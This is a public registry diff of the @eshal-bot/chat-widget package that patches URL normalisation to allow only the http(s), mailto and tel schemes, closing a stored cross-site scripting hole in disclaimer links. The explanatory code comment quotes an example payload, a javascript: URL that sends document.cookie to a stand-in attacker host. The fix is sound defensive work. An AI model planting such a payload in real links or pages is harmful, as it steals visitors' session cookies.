@eshal-bot/chat-widget 0.1.116 → 0.1.117

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- export{S as default}from"./chat-widget-index-CX0RMFml.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";
1
+ export{S as default}from"./chat-widget-index-leVA8Ur1.esm.js";import"react";import"react-dom/client";import"react-dom";import"react/jsx-runtime";
@@ -9008,11 +9008,21 @@
9008
9008
  }
9009
9009
  return bytes.buffer;
9010
9010
  };
9011
+
9012
+ // EV-2849 (WAPT) - this used to pass ANY scheme through unfiltered
9013
+ // (`/^[a-z][a-z0-9+.-]*:/i` matches `javascript:` just as readily as
9014
+ // `mailto:`), so a tenant-set disclaimer link URL of
9015
+ // `javascript:fetch('https://attacker/'+document.cookie)` rendered
9016
+ // verbatim as an <a href> - the widget mounts on the CUSTOMER's origin,
9017
+ // so every visitor who clicked the disclaimer ran attacker JS there.
9018
+ // Only an explicit allow-list of schemes is safe to pass through as-is.
9019
+ const ALLOWED_SCHEMES = /^(https?|mailto|tel):/i;
9011
9020
  const normalizeExternalUrl = value => {
9012
9021
  const trimmed = (value || '').trim();
9013
9022
  if (!trimmed) return '';
9014
9023
  if (/^https?:\/\//i.test(trimmed)) return trimmed;
9015
- if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return trimmed;
9024
+ if (ALLOWED_SCHEMES.test(trimmed)) return trimmed;
9025
+ if (/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return '';
9016
9026
  return "https://".concat(trimmed.replace(/^\/+/, ''));
9017
9027
  };
9018
9028